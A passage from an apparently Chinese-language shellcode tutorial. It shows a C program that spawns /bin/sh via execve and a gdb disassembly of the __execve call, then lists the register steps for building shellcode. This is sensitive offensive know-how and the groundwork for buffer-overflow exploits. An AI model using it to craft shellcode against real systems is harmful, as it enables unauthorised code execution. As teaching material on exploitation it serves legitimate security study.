shellcode.c
-----------------------------------------------------------------------------
#include <unistd.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
gcc -o shellcode -ggdb -static shellcode.c
通过gdb反汇编__execve调用,观察到底发生了什么:
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx 例程的准备工作
0x80002c0 <__execve+4>: movl $0xb,%eax 把0xb(十进制的11)放入寄存器EAX中,0xb是系统调用表的索引,11就是execve
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 把"/bin/sh"的地址放到寄存器EBX中
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 把name[]的地址放到寄存器ECX中
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 把空指针的地址放到寄存器EDX中
0x80002ce <__execve+18>: int $0x80 进入内核模式
------------------------------------------------------------------------------
由此,所作事情如下:
a) 把以NULL结尾的字串"/bin/sh"放到内存某处;
b) 把字串"/bin/sh"的地址放到内存某处,后面跟一个空的长字(null long word);
c) 把0xb放到寄存器EAX中;
d) 把字串"/bin/sh"的地址放到寄存器EBX中;
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中;
f) 把空长字的地址放到寄存器EDX中;
g) 执行指令int $0x80。